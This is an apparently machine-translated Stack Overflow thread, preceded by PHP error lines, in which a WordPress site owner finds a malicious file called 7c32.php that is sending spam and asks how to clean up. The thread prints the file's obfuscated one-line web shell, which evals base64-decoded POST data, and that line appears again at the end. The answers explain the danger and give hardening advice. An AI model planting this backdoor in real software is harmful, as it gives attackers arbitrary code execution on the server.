Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/288.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
在我的Web服务器上发现恶意PHP文件,需要帮助清理并防止再次发生这种情况_Php_Wordpress_Security_Spam_Malware - Fatal编程技术网

在我的Web服务器上发现恶意PHP文件,需要帮助清理并防止再次发生这种情况

在我的Web服务器上发现恶意PHP文件,需要帮助清理并防止再次发生这种情况,php,wordpress,security,spam,malware,Php,Wordpress,Security,Spam,Malware,我的主机提供商最近暂停了我的网站,因为网站上有东西发出了大量的垃圾邮件。最初,我和提供商认为这是因为几天前我在服务器上发布了一个不安全的电子邮件活动表单。我从服务器上删除了带有表单的页面,但服务器仍在发送垃圾邮件 我在服务器根目录的“css”文件夹中找到了一个名为7c32.php的php文件。我肯定没有成功。以下是文件中的代码: <?php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));}?>

我的主机提供商最近暂停了我的网站,因为网站上有东西发出了大量的垃圾邮件。最初,我和提供商认为这是因为几天前我在服务器上发布了一个不安全的电子邮件活动表单。我从服务器上删除了带有表单的页面,但服务器仍在发送垃圾邮件

我在服务器根目录的“css”文件夹中找到了一个名为7c32.php的php文件。我肯定没有成功。以下是文件中的代码:

<?php if(isset($_POST["cod\x65"])){eval(base64_decode($_POST["co\x64e"]));}?>
我读了一些关于恶意php文件的文章,发现eval(和base64_)解码字符串非常可疑。我查看了服务器日志文件,发现有几个帖子查询了来自沙特阿拉伯的ip地址的7c32.php文件

我删除了php文件,更新了所有过时的wordpress主题和插件(以及平台本身),并将FTP服务器和wordpress管理帐户的密码更改为更安全的密码

我还可以做些什么来确保我的服务器是安全的?我将在服务器上的每个其他php文件中搜索这些base64和eval(字符串),但除此之外,我没有主意了

这个php脚本似乎太短,不会造成任何损害,但还有什么可以发送所有这些垃圾邮件呢

任何帮助都将不胜感激

这个php脚本似乎太短,不会造成任何损害,但还有什么可以发送所有这些垃圾邮件呢

你怎么认为这段代码太短而无法删除?这是最糟糕的代码

eval()语言构造非常危险,因为它允许执行任意PHP代码。因此不鼓励使用它。如果您已仔细验证除了使用此构造之外没有其他选择,请特别注意,在未事先正确验证的情况下,不要将任何用户提供的数据传递到该构造中

他们可以使用太短的
代码执行任何PHP代码。Eval是邪恶的。不允许未经验证的文件上载权限

但是还有什么可以发送所有的垃圾邮件呢

同样的评估代码也在发送电子邮件。他们向其发送电子邮件代码,然后它依次执行并发送电子邮件
是一个非常危险的小语言结构,因为它几乎可以执行作为字符串传递给它的任何一段PHP代码,因此它当然可能是发送邮件的脚本,尽管发送垃圾邮件实际上是相当无损的,因为
eval()
可以做到这一点

如果您的页面有权删除web根目录中的每个文件,
eval()
也可以这样做,只要有人通过POST向脚本发送正确的命令即可


如果你真的想确保它是发送邮件的那段代码,请将其放回原处,但要对其进行修改以使其对你有利。停止使用
eval()
并将帖子数据保存到数据库或文本文件中。这是唯一能让您确切知道此代码的用途的方法。

如果您删除了该文件并更新了WP主题,我会说,没什么可做的,只需保护您的网站,通过拒绝对文件夹的上载/权限/副本:您能告诉我吗告诉我如何做到这一点,我完全没有PHP方面的经验,我只是在努力学习。弄清楚这是否是发送垃圾邮件的代码将是令人惊讶的。尝试这行代码,而不是其中的代码:
。每次访问页面时,它都会尝试打开(或创建)一个名为“malLog”的文件并将前一个错误代码试图
eval()的字符串写入其中
。无法保证它能正常工作,我现在正忙着,没有时间对它进行正确的测试。啊,我现在明白了。我根本没有PHP方面的经验,所以我几乎不明白我在看什么。我怎么能告诉服务器不允许未经验证的文件上传权限?首先,将目录权限设置为只读,以便在任何时候都不可能上传。其次,检查您的任何文件上传代码,并/或将其发布到此处,讨论可能存在的缺陷。无论何时收到用户的任何输入,您都必须尝试对其进行清理,而不是将其保存在服务器上。这个漏洞必须存在于您的文件上传表单中。OK,我进入filezilla,选择了所有三个目录在根目录中,并应用了以下权限(未选中除读取之外的所有内容)请原谅我的无知,但文件上传代码到底是什么?谢谢你的帮助。我的意思是,你有任何HTML或PHP代码在那里允许用户上传任何文件吗?或者你安装了一些脚本等?没有,绝对没有。唯一的上传是通过FTP完成的。两个问题:我必须再次将权限更改为上传新的东西到服务器上?我可以让它只有我可以通过FTP上传东西吗?
if(isset($_POST["code"])){eval(base64_decode($_POST["code"]));